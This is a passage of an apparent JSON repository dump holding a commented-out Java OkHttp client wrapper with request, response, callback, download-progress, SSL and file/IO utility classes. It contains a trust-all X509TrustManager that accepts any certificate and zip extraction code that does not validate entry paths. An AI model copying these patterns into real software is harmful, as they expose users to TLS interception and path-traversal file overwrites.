TimeUnit.MILLISECONDS);\n\t\t\t}\n\t\t\tnetworkInterceptors.forEach(i->builder.addNetworkInterceptor(i));\n\t\t\tif(sslContext!=null){\n\t\t\t\tsetSSLSocketFactory(builder,sslContext);\n\t\t\t}\n\t\t\tclient=builder.build();\n\t\t}\n\t\treturn buildCall(callback,client);\n\t}\n\n\tpublic Call buildCall(Callback callback,OkHttpClient okHttpClient) {\n\t\trequest=createRequest(callback);\n\t\tcall = okHttpClient.newCall(request);\n\t\treturn call;\n\t}\n\n\tprivate Request createRequest(Callback callback) {\n\t\treturn okHttpRequest.createRequest(callback);\n\t}\n\n\tpublic Response execute() throws IOException {\n\t\tbuildCall(null);\n\t\treturn new Response(call.execute());\n\t}\n\n\tpublic void executeAsync(Callback callback) {\n\t\tbuildCall(callback);\n\t\texecute(this,callback);\n\t}\n\n\tpublic Response execute(OkHttpClient client) throws IOException {\n\t\tbuildCall(null,client);\n\t\treturn new Response(call.execute());\n\t}\n\n\tpublic void executeAsync(Callback callback,OkHttpClient client) {\n\t\tbuildCall(callback,client);\n\t\texecute(this,callback);\n\t}\n\n\tprivate void execute(final RequestCall requestCall, Callback callback) {\n\t\tfinal Callback finalCallback = callback;\n\t\tfinal int id = requestCall.getOkHttpRequest().getId();\n\t\trequestCall.getCall().enqueue(new okhttp3.Callback() {\n\t\t\t@Override\n\t\t\tpublic void onFailure(Call call, final IOException e) {\n\t\t\t\tif(finalCallback!=null){\n\t\t\t\t\tfinalCallback.onFailure(call,e,id);\n\t\t\t\t}\n\t\t\t}\n\t\t\t@Override\n\t\t\tpublic void onResponse(final Call call, final okhttp3.Response response) {\n\t\t\t\tif(finalCallback!=null){\n\t\t\t\t\tfinalCallback.onResponse(call,new Response(response),id);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\n\tpublic Call getCall() {\n\t\treturn call;\n\t}\n\n\tpublic Request getRequest() {\n\t\treturn request;\n\t}\n\n\tpublic OkHttpRequest getOkHttpRequest() {\n\t\treturn okHttpRequest;\n\t}\n\n\tpublic void cancel() {\n\t\tif (call != null) {\n\t\t\tcall.cancel();\n\t\t}\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/Response.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.List;\n\nimport okhttp3.Handshake;\nimport okhttp3.Headers;\nimport okhttp3.Protocol;\nimport okhttp3.Request;\nimport okhttp3.ResponseBody;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class Response {\n\t//\n\tpublic okhttp3.Response response;\n\t//\n\tpublic Response(okhttp3.Response response){\n\t\tthis.response=response;\n\t}\n\t//\n\tpublic Request request() {\n\t\treturn response.request();\n\t}\n\n\t/**\n\t * Returns the HTTP protocol, such as {@link Protocol#HTTP_1_1} or\n\t * {@link Protocol#HTTP_1_0}.\n\t * /\n\tpublic Protocol protocol() {\n\t\treturn response.protocol();\n\t}\n\n\t/** Returns the HTTP status code. * /\n\tpublic int code() {\n\t\treturn response.code();\n\t}\n\n\t/**\n\t * Returns true if the code is in [200..300), which means the request was\n\t * successfully received, understood, and accepted.\n\t * /\n\tpublic boolean isSuccessful() {\n\t\treturn response.isSuccessful();\n\t}\n\n\t/** Returns the HTTP status message or null if it is unknown. * /\n\tpublic String message() {\n\t\treturn response.message();\n\t}\n\n\t/**\n\t * Returns the TLS handshake of the connection that carried this response,\n\t * or null if the response was received without TLS.\n\t * /\n\tpublic Handshake handshake() {\n\t\treturn response.handshake();\n\t}\n\n\tpublic List<String> headers(String name) {\n\t\treturn response.headers(name);\n\t}\n\n\tpublic String header(String name) {\n\t\treturn response.header(name, null);\n\t}\n\n\tpublic String header(String name, String defaultValue) {\n\t\treturn response.header(name, defaultValue);\n\t}\n\n\tpublic Headers headers() {\n\t\treturn response.headers();\n\t}\n\n\t/**\n\t * Peeks up to {@code byteCount} bytes from the response body and returns\n\t * them as a new response body. If fewer than {@code byteCount} bytes are in\n\t * the response body, the full response body is returned. If more than\n\t * {@code byteCount} bytes are in the response body, the returned value will\n\t * be truncated to {@code byteCount} bytes.\n\t *\n\t * <p>\n\t * It is an error to call this method after the body has been consumed.\n\t *\n\t * <p>\n\t * <strong>Warning:</strong> this method loads the requested bytes into\n\t * memory. Most applications should set a modest limit on {@code byteCount},\n\t * such as 1 MiB.\n\t * /\n\tpublic ResponseBody peekBody(long byteCount) throws IOException {\n\t\treturn response.peekBody(byteCount);\n\t}\n\n\t/**\n\t * Never {@code null}, must be closed after consumption, can be consumed\n\t * only once.\n\t * /\n\tpublic ResponseBody body() {\n\t\treturn response.body();\n\t}\n\n\t//\n\t/**\n\t * Returns the response as a string decoded with the charset of the\n\t * Content-Type header. If that header is either absent or lacks a charset,\n\t * this will attempt to decode the response body as UTF-8.\n\t * /\n\tpublic final String string() throws IOException {\n\t\treturn body().string();\n\t}\n\t//\n\t/**\n\t * Returns the response as a string decoded with the charset of the\n\t * Content-Type header. If that header is either absent or lacks a charset,\n\t * this will attempt to decode the response body as UTF-8.\n\t * /\n\tpublic final String string(String charset) throws IOException {\n\t\treturn new String(body().bytes(),charset);\n\t}\n\t//\n\tpublic final byte[] bytes() throws IOException {\n\t\treturn body().bytes();\n\t}\n\t//\n\tpublic final InputStream byteStream() {\n\t    return body().source().inputStream();\n\t  }\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/URIEncoder.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.charset.UnsupportedCharsetException;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic final class URIEncoder {\n\n\tpublic static String encodeUTF8(String input) {\n\t\treturn encode(input, StandardCharsets.UTF_8);\n\t}\n\n\tpublic static String encode(String input, String encoding) {\n\t\treturn encode(input, Charset.forName(encoding));\n\t}\n\n\tpublic static String encode(String input, Charset encoding) {\n\t\tif (input == null)\n\t\t\treturn null;\n\t\tif (input.trim().isEmpty())\n\t\t\treturn \"\";\n\t\ttry {\n\t\t\treturn URLEncoder.encode(input, encoding.name());\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\tthrow new UnsupportedCharsetException(encoding.name());\n\t\t}\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/callback/Callback.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.callback;\n\nimport com.jun.plugin.okhttp.Response;\n\nimport okhttp3.Call;\n\n/**\n *\n * @author Wujun\n * /\npublic abstract class Callback{\n\t//\n\tpublic abstract void onFailure(Call call,Exception e,int id);\n\t//\n\tpublic abstract void onResponse(Call call,Response response, int id);\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/callback/DownloadFileCallback.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.callback;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.okhttp.Response;\nimport com.jun.plugin.okhttp.util.FileUtil;\n\nimport okhttp3.Call;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic abstract class DownloadFileCallback extends Callback{\n\t//\n\tpublic static Logger logger = LoggerFactory.getLogger(DownloadFileCallback.class);\n\t//\n\tprivate String fileAbsolutePath;\n\t//\n\tpublic DownloadFileCallback(){\n\t}\n\t//\n\tpublic DownloadFileCallback(String fileAbsolutePath){\n\t\tthis.fileAbsolutePath=fileAbsolutePath;\n\t}\n\t//\n\t@Override\n\tpublic void onResponse(Call call, Response response, int id) {\n\t\ttry {\n\t\t\tif(fileAbsolutePath!=null&&fileAbsolutePath.length()>0){\n\t\t\t\tFile file=new File(fileAbsolutePath);\n\t\t\t\tFileUtil.saveContent(response.body().bytes(),file);\n\t\t\t\tonSuccess(call,file, id);\n\t\t\t}else{\n\t\t\t\tonSuccess(call,response.body().byteStream(),id);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(e.getMessage(),e);\n\t\t}\n\t}\n\t//\n\tpublic void onSuccess(Call call,File file, int id) {\n\n\t}\n\t//\n\tpublic void onSuccess(Call call,InputStream fileStream, int id) {\n\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/callback/StringCallback.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.callback;\n\nimport java.io.IOException;\n\nimport com.jun.plugin.okhttp.Response;\n\nimport okhttp3.Call;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic abstract class StringCallback extends Callback{\n\t//\n\t@Override\n\tpublic void onResponse(Call call, Response response, int id) {\n\t\ttry {\n\t\t\tonSuccess(call,response.body().string(),id);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t//\n\tpublic void onSuccess(Call call,String response,int id) {\n\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/interceptor/DownloadFileInterceptor.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.interceptor;\n\nimport java.io.IOException;\n\nimport okhttp3.Interceptor;\nimport okhttp3.MediaType;\nimport okhttp3.Response;\nimport okhttp3.ResponseBody;\nimport okio.Buffer;\nimport okio.BufferedSource;\nimport okio.ForwardingSource;\nimport okio.Okio;\nimport okio.Source;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic abstract class DownloadFileInterceptor implements Interceptor,DownloadFileProgressListener{\n\t//\n\t@Override\n\tpublic Response intercept(Chain chain) throws IOException {\n\t\tResponse rsp = chain.proceed(chain.request());\n\t    return rsp.newBuilder()\n\t        .body(new DownloadFileProgressResponseBody(rsp.body(),this))\n\t        .build();\n\t}\n\t//\n\tpublic abstract void updateProgress(long downloadLenth, long totalLength, boolean isFinish);\n\t//\n\tpublic static class DownloadFileProgressResponseBody extends ResponseBody{\n\t\tprivate final ResponseBody body;\n\t    private final DownloadFileProgressListener progressListener;\n\t    private BufferedSource bufferedSource;\n\t    //\n\t    public DownloadFileProgressResponseBody(ResponseBody body, DownloadFileProgressListener progressListener) {\n            this.body = body;\n            this.progressListener = progressListener;\n        }\n\n\t\t@Override\n\t\tpublic MediaType contentType() {\n\t\t\treturn body.contentType();\n\t\t}\n\n\t\t@Override\n\t\tpublic long contentLength() {\n\t\t\treturn body.contentLength();\n\t\t}\n\n\t\t@Override\n\t\tpublic BufferedSource source() {\n\t\t\tif (bufferedSource == null) {\n                bufferedSource = Okio.buffer(source(body.source()));\n            }\n            return bufferedSource;\n\t\t}\n\n\t\tprivate Source source(Source source) {\n            return new ForwardingSource(source) {\n                long downloadLenth = 0L;\n\n                @Override public long read(Buffer sink, long byteCount) throws IOException {\n                    long bytesRead = super.read(sink, byteCount);\n                    boolean isFinish=(bytesRead ==-1);\n                    if(!isFinish){\n                    \tdownloadLenth+=bytesRead;\n                    }\n                    progressListener.updateProgress(downloadLenth,body.contentLength(),isFinish);\n                    return bytesRead;\n                }\n            };\n        }\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/interceptor/DownloadFileProgressListener.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.interceptor;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic interface DownloadFileProgressListener {\n\tvoid updateProgress(long downloadLenth, long totalLength, boolean done);\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/ssl/X509TrustManagerImpl.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.ssl;\n\nimport java.security.cert.CertificateException;\nimport java.security.cert.X509Certificate;\n\nimport javax.net.ssl.X509TrustManager;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class X509TrustManagerImpl implements X509TrustManager{\n\t@Override\n\tpublic void checkClientTrusted(X509Certificate[] chain, String authType)\n\tthrows CertificateException {\n\t}\n\t@Override\n\tpublic void checkServerTrusted(X509Certificate[] chain, String authType)\n\tthrows CertificateException {\n\t}\n\t@Override\n\tpublic X509Certificate[] getAcceptedIssuers() {\n\t\treturn new X509Certificate[0];\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/util/FileUtil.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.util;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URL;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.Files;\nimport java.util.Enumeration;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipFile;\n/**\n *\n * @author Wujun\n *\n * /\npublic class FileUtil {\n\t//\n\tprivate static final int BUFFER = 2048;\n\n\tprivate FileUtil() {\n\t}\n\t//\n\tpublic static void unzip(String file, String destFolder) throws IOException {\n\t\tBufferedOutputStream dest = null;\n\t\tBufferedInputStream is = null;\n\t\tZipEntry entry;\n\t\tZipFile zipfile = new ZipFile(file);\n\t\tEnumeration<? extends ZipEntry> e = zipfile.entries();\n\t\twhile (e.hasMoreElements()) {\n\t\t\tentry = (ZipEntry) e.nextElement();\n\t\t\tif (entry.isDirectory()) {\n\t\t\t\tFile f = new File(destFolder, entry.getName());\n\t\t\t\tf.mkdirs();\n\t\t\t} else {\n\t\t\t\tInputStream iis = zipfile.getInputStream(entry);\n\t\t\t\tis = new BufferedInputStream(iis);\n\t\t\t\tint count;\n\t\t\t\tbyte data[] = new byte[BUFFER];\n\t\t\t\tFile theFile = new File(destFolder, entry.getName());\n\t\t\t\tFileOutputStream fos = new FileOutputStream(theFile);\n\t\t\t\tdest = new BufferedOutputStream(fos, BUFFER);\n\t\t\t\twhile ((count = is.read(data, 0, BUFFER)) != -1) {\n\t\t\t\t\tdest.write(data, 0, count);\n\t\t\t\t}\n\t\t\t\tdest.flush();\n\t\t\t\tdest.close();\n\t\t\t\tis.close();\n\t\t\t\tiis.close();\n\t\t\t}\n\t\t}\n\t\tzipfile.close();\n\t}\n\n\t//\n\tpublic static void copyFile(String sourceURL, String destFilePath)\n\t\t\tthrows Exception {\n\t\tFile destFile = new File(destFilePath);\n\t\tURL url = new URL(sourceURL);\n\t\tFileOutputStream fos = new FileOutputStream(destFile);\n\t\tInputStream is = url.openStream();\n\t\tbyte[] buffer = new byte[4096];\n\t\tint n = 0;\n\t\twhile (-1 != (n = is.read(buffer))) {\n\t\t\tfos.write(buffer, 0, n);\n\t\t}\n\t\tIOUtil.closeQuietly(is);\n\t\tIOUtil.closeQuietly(fos);\n\t}\n\n\t//\n\tpublic static File createEmptyDir(String path) {\n\t\tFile tempDir = new File(path);\n\t\tif (tempDir.exists() && !tempDir.isDirectory()) {\n\t\t\tthrow new RuntimeException(\"file:\" + path + \" already exists.\");\n\t\t}\n\t\tif (tempDir.exists()) {\n\t\t\tif (!deleteDirectory(tempDir)) {\n\t\t\t\tthrow new RuntimeException(\"can not delete old dir:\" + path);\n\t\t\t}\n\t\t}\n\t\tif (!tempDir.mkdirs()) {\n\t\t\tthrow new RuntimeException(\"can not create dir:\" + path);\n\t\t}\n\t\treturn tempDir;\n\t}\n\n\t//\n\tpublic static File createTemporaryDirectory(String prefix) {\n\t\tFile tempDir = null;\n\t\ttry {\n\t\t\ttempDir = File.createTempFile(prefix, \"\");\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(\"could not create temporary file \"\n\t\t\t\t\t+ prefix, e);\n\t\t}\n\t\tboolean success = tempDir.delete();\n\t\tif (!success) {\n\t\t\tthrow new RuntimeException(\"could not delete temporary file \"\n\t\t\t\t\t+ tempDir);\n\t\t}\n\t\tsuccess = tempDir.mkdir();\n\t\tif (!success) {\n\t\t\tthrow new RuntimeException(\"could not create temporary directory \"\n\t\t\t\t\t+ tempDir);\n\t\t}\n\t\treturn tempDir;\n\t}\n\n\tpublic static boolean deleteDirectory(File directory) {\n\t\tif (directory.exists()) {\n\t\t\tFile[] files = directory.listFiles();\n\t\t\tfor (File file : files) {\n\t\t\t\tif (file.isDirectory()) {\n\t\t\t\t\tdeleteDirectory(file);\n\t\t\t\t} else {\n\t\t\t\t\t// noinspection ResultOfMethodCallIgnored\n\t\t\t\t\tfile.delete();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn (directory.delete());\n\t}\n\n\t/**\n\t * get content from file\n\t *\n\t * @param filePath\n\t * @return\n\t * @throws IOException\n\t * /\n\tpublic static byte[] getBytes(String filePath) throws IOException {\n\t\tByteArrayOutputStream bos = new ByteArrayOutputStream();\n\t\tIOUtil.copy(new FileInputStream(filePath), bos);\n\t\treturn bos.toByteArray();\n\t}\n\n\t/**\n\t * get content from file\n\t *\n\t * @param filePath\n\t * @return\n\t * @throws IOException\n\t * /\n\tpublic static String getContent(String filePath) throws IOException {\n\t\treturn getContent(new File(filePath));\n\t}\n\n\t/**\n\t * get content from file\n\t *\n\t * @param filePath\n\t * @return\n\t * @throws IOException\n\t * /\n\tpublic static String getContent(File file) throws IOException {\n\t\treturn new String(Files.readAllBytes(file.toPath()),\n\t\t\t\tStandardCharsets.UTF_8);\n\t}\n\n\t//\n\tpublic static void saveContent(String content, File file)\n\t\t\tthrows IOException {\n\t\ttry (FileOutputStream fos = new FileOutputStream(file);\n\t\t\t\tByteArrayInputStream bis = new ByteArrayInputStream(\n\t\t\t\t\t\tcontent.getBytes())) {\n\t\t\tIOUtil.copy(bis, fos);\n\t\t}\n\t}\n\n\tpublic static void saveContent(byte bb[], File file) throws IOException {\n\t\ttry (FileOutputStream fos = new FileOutputStream(file);\n\t\t\t\tByteArrayInputStream bis = new ByteArrayInputStream(bb)) {\n\t\t\tIOUtil.copy(bis, fos);\n\t\t}\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/util/IOUtil.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.util;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.BufferedReader;\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.Reader;\nimport java.io.StringWriter;\nimport java.io.Writer;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Enumeration;\nimport java.util.List;\nimport java.util.function.BiConsumer;\nimport java.util.zip.DataFormatException;\nimport java.util.zip.Deflater;\nimport java.util.zip.Inflater;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipFile;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class IOUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(IOUtil.class);\n\tprivate static final int CACHE_SIZE = 512;\n\n\t//\n\t//\n\tpublic static byte[] compress(byte[] inputs) {\n\t\tif (inputs.length == 0) {\n\t\t\treturn inputs;\n\t\t}\n\t\tDeflater deflater = new Deflater(Deflater.BEST_SPEED);\n\t\tdeflater.setInput(inputs);\n\t\tdeflater.finish();\n\t\tbyte outputs[] = new byte[0];\n\t\ttry(ByteArrayOutputStream stream = new ByteArrayOutputStream(inputs.length);){\n\t\t\tbyte[] bytes = new byte[CACHE_SIZE];\n\t\t\tint value;\n\t\t\twhile (!deflater.finished()) {\n\t\t\t\tvalue = deflater.deflate(bytes);\n\t\t\t\tstream.write(bytes, 0, value);\n\t\t\t}\n\t\t\toutputs = stream.toByteArray();\n\t\t\tdeflater.end();\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(e.getMessage(), e);\n\t\t}\n\t\treturn outputs;\n\t}\n\n\t//\n\t//\n\tpublic static byte[] decompress(byte[] input) {\n\t\tif (input.length == 0) {\n\t\t\treturn input;\n\t\t}\n\t\tInflater decompressor = new Inflater();\n\t\tdecompressor.setInput(input);\n\t\tByteArrayOutputStream bos = new ByteArrayOutputStream(input.length);\n\t\tbyte[] buf = new byte[CACHE_SIZE];\n\t\ttry {\n\t\t\twhile (!decompressor.finished()) {\n\t\t\t\tint count = decompressor.inflate(buf);\n\t\t\t\tbos.write(buf, 0, count);\n\t\t\t}\n\t\t} catch (DataFormatException e) {\n\t\t\treturn input;\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tdecompressor.end();\n\t\t\t\tbos.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\tlogger.error(e.getMessage(), e);\n\t\t\t}\n\t\t}\n\t\tbyte[] decompressedData = bos.toByteArray();\n\t\treturn decompressedData;\n\t}\n\n\t//\n\t/**\n\t * /\n\tpublic static void closeQuietly(OutputStream output) {\n\t\ttry {\n\t\t\tif (output != null) {\n\t\t\t\toutput.flush();\n\t\t\t\toutput.close();\n\t\t\t}\n\t\t} catch (IOException ioe) {\n\t\t\tlogger.error(ioe.getMessage(), ioe);\n\t\t}\n\t}\n\n\t//\n\t/**\n\t * /\n\tpublic static void closeQuietly(InputStream input) {\n\t\ttry {\n\t\t\tif (input != null) {\n\t\t\t\tinput.close();\n\t\t\t}\n\t\t} catch (IOException ioe) {\n\t\t\tlogger.error(ioe.getMessage(), ioe);\n\t\t}\n\t}\n\n\t//\n\t/**\n\t * copy inputstream data to output stream\n\t * /\n\tpublic static long copy(InputStream input, OutputStream output)\n\t\t\tthrows IOException {\n\t\tbyte[] buffer = new byte[4096];\n\t\tlong count = 0;\n\t\tint n = 0;\n\t\twhile (-1 != (n = input.read(buffer))) {\n\t\t\toutput.write(buffer, 0, n);\n\t\t\tcount += n;\n\t\t}\n\t\treturn count;\n\t}\n\n\t/**\n\t *\n\t * @param file\n\t * @return\n\t * @throws IOException\n\t * /\n\tpublic static String getContent(InputStream in) throws IOException {\n\t\ttry (InputStreamReader isr = new InputStreamReader(in);\n\t\t\t\tBufferedReader br = new BufferedReader(isr);) {\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tString s = null;\n\t\t\twhile ((s = br.readLine()) != null) {\n\t\t\t\tsb.append(s).append(\"\\n\");\n\t\t\t}\n\t\t\treturn sb.toString();\n\t\t}\n\t}\n\t//\n\tpublic static List<String>getContentList(InputStream inStream)throws IOException{\n\t\tList<String>inputLines=new ArrayList<String>();\n\t\tBufferedReader br = new BufferedReader(new InputStreamReader(inStream));\n\t\tString line = null;\n\t\twhile ((line = br.readLine()) != null) {\n\t\t\tinputLines.add(line);\n\t\t}\n\t\treturn inputLines;\n\t}\n\t//\n\tpublic static void unzip(File file, File destFolder) throws IOException {\n\t\tfinal int BUFFER=2048;\n\t\tBufferedOutputStream dest = null;\n\t\tBufferedInputStream is = null;\n\t\tZipEntry entry;\n\t\tZipFile zipfile = new ZipFile(file);\n\t\tEnumeration<? extends ZipEntry> e = zipfile.entries();\n\t\twhile (e.hasMoreElements()) {\n\t\t\tentry = (ZipEntry) e.nextElement();\n\t\t\tif (entry.isDirectory()) {\n\t\t\t\tFile f = new File(destFolder, entry.getName());\n\t\t\t\tf.mkdirs();\n\t\t\t} else {\n\t\t\t\tInputStream iis=zipfile.getInputStream(entry);\n\t\t\t\tis = new BufferedInputStream(iis);\n\t\t\t\tint count;\n\t\t\t\tbyte data[] = new byte[BUFFER];\n\t\t\t\tFile theFile = new File(destFolder, entry.getName());\n\t\t\t\tFileOutputStream fos = new FileOutputStream(theFile);\n\t\t\t\tdest = new BufferedOutputStream(fos, BUFFER);\n\t\t\t\twhile ((count = is.read(data, 0, BUFFER)) != -1) {\n\t\t\t\t\tdest.write(data, 0, count);\n\t\t\t\t}\n\t\t\t\tdest.flush();\n\t\t\t\tdest.close();\n\t\t\t\tis.close();\n\t\t\t\tiis.close();\n\t\t\t}\n\t\t}\n\t\tzipfile.close();\n\t}\n\t/**\n\t * copy file from source file to dest file\n\t * /\n\tpublic static void copyFile(File sourceFile,File destFile)throws Exception{\n\t\tcopy(new FileInputStream(sourceFile),new FileOutputStream(destFile));\n\t}\n\t/**\n\t * copy file from source url to destfile\n\t * /\n\tpublic static void copyFile(\n\t\t\tString sourceURL,\n\t\t\tString destFilePath,\n\t\t\tBiConsumer<Long,Long>progress)\n\t\t\tthrows Exception {\n\t\tFile destFile = new File(destFilePath);\n\t\tURL url = new URL(sourceURL);\n\t\tFileOutputStream fos = new FileOutputStream(destFile);\n\t\tURLConnection connection=url.openConnection();\n\t\tlong contentLength=connection.getContentLength();\n\t\tlong currentLength=0;\n\t\tInputStream is = connection.getInputStream();\n\t\tbyte[] buffer = new byte[4096];\n        int n = 0;\n        while (-1 != (n = is.read(buffer))) {\n        \tcurrentLength+=n;\n            fos.write(buffer, 0, n);\n            if(progress!=null){\n            \tprogress.accept(contentLength,currentLength);\n            }\n        }\n\t\tIOUtil.closeQuietly(is);\n\t\tIOUtil.closeQuietly(fos);\n\t}\n\t/**\n\t *  if we use file.delete to delete a none empty directory,delete action will\n\t *  fail,we need to delete all file under this directory first.\n\t * /\n\tpublic static boolean deleteDirectory(File directory) {\n\t\tif(!directory.exists()){\n\t\t\treturn true;\n\t\t}\n\t\tArrays.asList(directory.listFiles()).forEach(file->{\n\t\t\tif (file.isDirectory()) {\n\t\t\t\tdeleteDirectory(file);\n\t\t\t} else {\n\t\t\t\tfile.delete();\n\t\t\t}\n\t\t});\n\t\treturn (directory.delete());\n\t}\n\n\t/**\n\t *convert input stream to byte array\n\t * /\n\tpublic static byte[] toByteArray(InputStream input) throws IOException {\n\t\tByteArrayOutputStream os = new ByteArrayOutputStream();\n\t\tbyte[] buf = new byte[1024];\n\t\tfor (int n = input.read(buf); n != -1; n = input.read(buf)) {\n\t\t\tos.write(buf, 0, n);\n\t\t}\n\t\treturn os.toByteArray();\n\t}\n\n\t/**\n\t * convert inputstream to string\n\t * /\n\tpublic static String toString(InputStream input) throws IOException {\n\t\tStringWriter sw = new StringWriter();\n\t\tcopy(input, sw);\n\t\treturn sw.toString();\n\t}\n\t/**\n\t * copy input stream to writer\n\t * /\n\tpublic static void copy(InputStream input, Writer output)\n\t\t\tthrows IOException {\n\t\tInputStreamReader in = new InputStreamReader(input); // NOSONAR\n\t\tcopy(in, output);\n\t}\n\t/**\n\t *copy input reader to output writer\n\t * /\n\tpublic static int copy(Reader input, Writer output) throws IOException {\n\t\tlong count = copyLarge(input, output);\n\t\tif (count > Integer.MAX_VALUE) {\n\t\t\treturn -1;\n\t\t}\n\t\treturn (int) count;\n\t}\n\t//\n\tpublic static long copyLarge(Reader input, Writer output)\n\t\t\tthrows IOException {\n\t\tchar[] buffer = new char[1024 * 4];\n\t\tlong count = 0;\n\t\tint n = 0;\n\t\twhile (-1 != (n = input.read(buffer))) {\n\t\t\toutput.write(buffer, 0, n);\n\t\t\tcount += n;\n\t\t}\n\t\treturn count;\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/config.properties",
    "content": "#\\u6253\\u5f00\\u4e0b\\u9762\\u8fd9\\u4e2a\\u9875\\u9762\\uff0c\\u8fdb\\u9a8c\\u8bc1\\u7801\\u5f00\\u53d1\\u8005\\u7684\\u7fa4\\uff0c\\u7fa4\\u6587\\u4ef6\\u91cc\\u6709\\u83b7\\u53d6apiKey\\u7684\\u65b9\\u6cd5\n#https:github.com/AvensLab/OcrKing/blob/master/%E7%BA%BF%E4%B8%8A%E8%AF%86%E5%88%ABhttp%E6%8E%A5%E5%8F%A3%E8%AF%B4%E6%98%8E.txt\n#\n#\\u4e00\\u4e0b\\u5185\\u5bb9\\u5c31\\u662fapiKey\\u83b7\\u53d6\\u65b9\\u6cd5\\uff1a\n#\n#\\u672c\\u8bc6\\u522b\\u670d\\u52a1\\u4e3a\\u514d\\u8d39\\uff0c\\u6ca1\\u6709apiKey \\u8bf7\\u4ee5 apiKey \\u4e3a\\u6807\\u9898\n#!!!!\\u4e00\\u5b9a\\u8981\\u4ee5  apiKey (\\u6216key \\u4e8c\\u9009\\u4e00\\u5373\\u53ef)  \\u4e3a\\u6807\\u9898!!!!\n#\n#\\u6b63\\u6587\\u5185\\u5bb9\\u8bf7\\u6309\\u4ee5\\u4e0b\\u683c\\u5f0f\\u5199 \n#\\u4f7f\\u7528\\u8bc6\\u522b\\u63a5\\u53e3\\u5927\\u81f4\\u7528\\u9014 \\u4f7f\\u7528\\u73af\\u5883 \\u5f00\\u53d1\\u5de5\\u5177\\u6216\\u8bed\\u8a00 \\u7528\\u6237\\u7c7b\\u578b 